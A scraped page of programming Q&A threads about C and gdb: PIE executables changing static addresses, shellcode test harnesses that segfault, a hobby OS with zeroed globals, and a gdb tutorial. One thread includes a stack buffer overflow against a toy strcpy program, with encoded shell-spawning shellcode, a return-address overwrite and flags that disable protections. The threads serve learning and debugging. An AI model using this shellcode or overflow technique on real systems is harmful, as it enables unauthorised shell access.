Address of Static Variables Changing at Runtime - c

I'm trying to figure out why the address of a static uint64_t arr[] changes when it's defined in the global scope inside the main executable.
It changes from 0x201060 (defined by the linker?) to 0x555555755060 at runtime, and I have no idea why.
Why does this happen, and is there a way I can prevent this behavior?
I have a precompiled binary that does not exhibit this behavior, and I am trying to emulate it.
$ gdb a.out # compiled from test.c
GNU gdb (GDB) 8.0.1...
Reading symbols from a.out...done.
(gdb) x/x arr
0x201060 <arr>: 0x00000024
(gdb) b main
Breakpoint 1 at 0x6e9: file test.c, line 116.
(gdb) run
Starting program: ...
Breakpoint 1, main (argc=1, argv=0x7fffffffdb28) at test.c:116
116 if(argc != 2) {
(gdb) x/x arr
0x555555755060 <arr>: 0x00000024
test.c was compiled with the following options: -g -fno-stack-protector -z execstack.
I compiled and ran test.c without ASLR (sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'), but the result was the same.
The relevant parts of test.c are:
#include <stdint.h>
extern int func(uint64_t[]);
static uint64_t arr[] = {
0x00000024, 0x00201060,
0x00201080, 0x00000000,
0x00000008, 0x002010e0,
0x002010a0, 0x00000000,
0x00000032, 0x002010c0,
...
0x00201100, 0x00000000
};
int main(int argc, char** argv) {
func(arr);
return 0;
}

I figured it out :)
It turns out my gcc was outputting PIE executables by default, and passing -no-pie did what I needed. I made the array static in an attempt to keep the address the same, but I suppose that static only keeps the address the same during runtime.
Thank you to Mark Plotnick for your suggestion in the comments!

Related

Why does my shellcode testing program produce a segfault?

I'm trying to write a simple C program for testing if a given shellcode string works on my machine (64 bit), however every single attempt at running the below code results in a segmentation fault. Even though this "shellcode" is just some nop instructions and a break, can anybody explain what is going wrong? I've had similar experiences with shellcodes & shellcode testing programs written by other people, is there some recently introduced mitigation that I am not aware of? I am running: 5.9.0-kali1-amd64 #1 SMP Debian 5.9.1-1kali2 (2020-10-29) x86_64 GNU/Linux.
#include <stdlib.h>
#include <stdio.h>
#define CODE "\x90\x90\x90\x90\x90\x90\x90\xCC";
int main(int argc, char const *argv[])
{
int (*func)();
func = (int (*)()) CODE;
(int)(*func)();
}
This is the command/flags I use to compile the code.
gcc -fno-stack-protector -z execstack -no-pie -m64 -o shell shell.c
The 0xCC at the end is INT3 or a which should result in Trace/breakpoint trap
If you change 0xCC to 0xC3, it will return without faulting.
One possible mitigation would be if your compiler is putting constant strings into .rdata instead of .text .
Instead of:
#define CODE #define CODE "\x90\x90\x90\x90\x90\x90\x90\xCC";
try
__attribute__((section(".text")))
static const unsigned char code[] = "\x90\x90\x90\x90\x90\x90\x90\xCC";

global variable always initialized zero

I've been writing an OS using this tutorial. I am at the part where
the boot loader is completed and C is used for programming (and then linked together ...). But that just as a note, I believe the problem I have is related to gcc.
I build an i386-elf cross compiler for the OS. And everything works fine, I can execute my code everything works. Except that all global variables are initialized zero, although I provided a default value.
int test_var = 1234;
// yes, void main() is correct (the boot-loader will call this)
void main() {}
If I debug this code with GDB, I get: (gcc-7.1.0, target: i328-elf)
(gdb) b main
Breakpoint 1 at 0x1554: file src/kernel/main.c, line 11.
(gdb) c
Continuing.
Breakpoint 1, main () at src/kernel/main.c:11
11 void main() {
(gdb) p test_var
$1 = 0
If i run the same code on my local machine (gcc-6.3.0, target: x86_64), it prints 1234.
My question is: Did I misconfigure gcc, is this a mistake in my OS, is this a known problem? I couldn't find anything about it.
My entire source-code: link
I use the following commands to compile my stuff:
# ...
i386-elf-gcc -g -ffreestanding -Iinclude/ -c src/kernel/main.c -o out/kernel/main.o
# ...
i386-elf-ld -e 0x1000 -Ttext 0x1000 -o out/kernel.elf out/kernel_entry.o out/kernel/main.o # some other stuff ...
i386-elf-objcopy -O binary out/kernel.elf out/kernel.bin
cat out/boot.bin out/kernel.bin > out/os.bin
qemu-system-i386 -drive "format=raw,file=out/os.bin"
EDIT: As #EugeneSh. suggested here some logic to make sure, that it's not removed:
#include <cpu/types.h>
#include <cpu/isr.h>
#include <kernel/print.h>
#include <driver/vga.h>
int test_var = 1234;
void main() {
vga_text_init();
switch (test_var) {
case 1234: print("That's correct"); break;
case 0: print("It's zero"); break;
// I don't have a method like atoi() in place, I would use
// GDB to get the value
default: print("It's something else");
}
}
Sadly it prints It's zero
Compiler never clears uninitialized global variables to zero, its logic in built inside loader,
So when you allocate memory for data segment then it size contains bss section also. So you have to check bss section offset, alignment & size withing data segment and memset() them to '0'.
As you are writing your OS so may be all the library routines are not available so better write memset() function using assembly.

Shellcode Segfault - testcase vs strcpy

So after taking a Software Security class I became very interested in tinkering with how shellcode works with buffer overflows. Most threads I read about the topic involve having the shellcode as a char array and the user not adding the -fno-stack-protector / -z execstack flags for gcc. I've tried turning off ASLR (though I'm unsure if it's relevant?), there is no stack canary or anything involved. I'm using a cyclic offset generator to find the stack offset and using gdb to find the start of the buffer (so I know I have the correct return address). Everything is in gdb so I'm aware there will be an address difference when running outside of gdb, I originally had a NOP sled but removed it to reduce complexity.
So I've reached my wits end... I feel like it might be something at the assembly layer that I'm not understanding/haven't learned. Might be something silly....
First I have a test-case program that just takes the shellcode as a commandline argument which successfully pops the shell:
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[])
{
unsigned char shellcode[100];
strcpy(shellcode,argv[1]);
int (*ret)() = (int(*)())shellcode;
ret();
}
root#kali:~/tmp# ./test2 $(python -c 'print
"\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"')
root#kali:/root/tmp# <-- New shell popped
Next I wanted to try to actually overflow a buffer to overwrite the stored EIP address and run the shellcode, this case continually results in a segfault...
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
void login_success(char *password)
{
char pass[60];
strcpy(pass, password);
}
int main(int argc, char *argv[])
{
login_success(argv[1]);
}
the offset to eip is 72 bytes, my shellcode is 72 bytes long + adding the eip overwrite.
Shellcode looks like:
buf = ""
buf += "\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"
#0xffffd264
buf += "\x64\xd2\xff\xff"
print buf
Running this results in a segmentation fault...
If I step through gdb they both reach the shellcode, I've followed every step and it all their commands are the same up until it has to make a call instruction.
In the images below the strcpy instance is on the left, the test-case is on the right:
I'm not sure if it has to do with the ret instruction from the previous stackframe where the overflow occured? I can provide any additional information if needed. Any information about what I should research further would be appreciated!

Why am I getting a segmentation fault? (Testing Shellcode)

I wrote a simple ASM file and ran it in a C file I'd written. I got a segentation fault. However, when I execute the compiled ASM file, I get no error.
I am running 64 bit and using 32 bit shellcode. Is that the issue?
It can't be, because I'm getting a segmentation fault with this:
char shellcode[] = "\x90"; //simple NOP in ASM
int main(int argc, char **argv)
{
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Can someone please run this and tell me whether or not they get a segmentation fault. I have used 3 or 4 other C files as well. None have worked.
Update:
((void(*)(void))code)();
Seems to be working in place of those three lines.
As mentioned above the shellcode is in non-executable memory. Try recompiling the program with the -fno-stack-protector and the -z execstack flags enabled.
That is:
gcc -fno-stack-protector -z execstack -O OutputFileName yourShellCode.c
Two issues:
The shell code might be in non-executable memory. In order to make it executable, you need to either ask the OS to make it executable (e.g. with mprotect(2) or VirtualProtect()), or allocate new executable memory and copy it there (e.g. with mmap(2) or VirtualAlloc().
Your shell code doesn't return/exit. After the CPU executes your NOP there (0x90), it's going to keep on executing code in the memory that comes after that NOP instruction. Most likely, this will crash quickly, but it might do other random, unpredictable things.
To fix #2, you need to explicitly either execute a return instruction (C3 on x86/x86-64) to return from your shell code, or you need to do something which never returns, like call the exit(3) function.
Maybe you should change your variable :
char shellcode[]
To:
const char shellcode[]
Like in this question:
segmentation-fault-error-when-exe-c
This one worked for me! :)
Try put the shellcode in the main function to make it a local variable:
int main(int argc, char **argv)
{
const char shellcode[] = "<your shellcode>";
int (*ret)();
ret = (int (*)()) shellcode;
(int)(*ret)();
}
Then compile it with flags -fno-stack-protector and -z execstack:
gcc <filename>.c -fno-stack-protector -z execstack -o <filename>
I found this idea on stackexchange and it worked for me.

How to debug using gdb?

I am trying to add a breakpoint in my program using
b {line number}
but I am always getting an error that says:
No symbol table is loaded. Use the "file" command.
What should I do?
Here is a quick start tutorial for gdb:
/* test.c */
/* Sample program to debug. */
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char **argv)
{
if (argc != 3)
return 1;
int a = atoi (argv[1]);
int b = atoi (argv[2]);
int c = a + b;
printf ("%d\n", c);
return 0;
}
Compile with the -g3 option. g3 includes extra information, such as all the macro definitions present in the program.
gcc -g3 -o test test.c
Load the executable, which now contain the debugging symbols, into gdb:
gdb --annotate=3 test.exe
Now you should find yourself at the gdb prompt. There you can issue commands to gdb.
Say you like to place a breakpoint at line 11 and step through the execution, printing the values of the local variables - the following commands sequences will help you do this:
(gdb) break test.c:11
Breakpoint 1 at 0x401329: file test.c, line 11.
(gdb) set args 10 20
(gdb) run
Starting program: c:\Documents and Settings\VMathew\Desktop/test.exe 10 20
[New thread 3824.0x8e8]
Breakpoint 1, main (argc=3, argv=0x3d5a90) at test.c:11
(gdb) n
(gdb) print a
$1 = 10
(gdb) n
(gdb) print b
$2 = 20
(gdb) n
(gdb) print c
$3 = 30
(gdb) c
Continuing.
30
Program exited normally.
(gdb)
In short, the following commands are all you need to get started using gdb:
break file:lineno - sets a breakpoint in the file at lineno.
set args - sets the command line arguments.
run - executes the debugged program with the given command line arguments.
next (n) and step (s) - step program and step program until it
reaches a different source line, respectively.
print - prints a local variable
bt - print backtrace of all stack frames
c - continue execution.
Type help at the (gdb) prompt to get a list and description of all valid commands.
Start gdb with the executable as a parameter, so that it knows which program you want to debug:
gdb ./myprogram
Then you should be able to set breakpoints. For example:
b myfile.cpp:25
b some_function
Make sure you used the -g option when compiling.
You need to tell gdb the name of your executable file, either when you run gdb or using the file command:
$ gdb a.out
or
(gdb) file a.out
You need to use -g or -ggdb option at compile time of your program.
E.g., gcc -ggdb file_name.c ; gdb ./a.out

Resources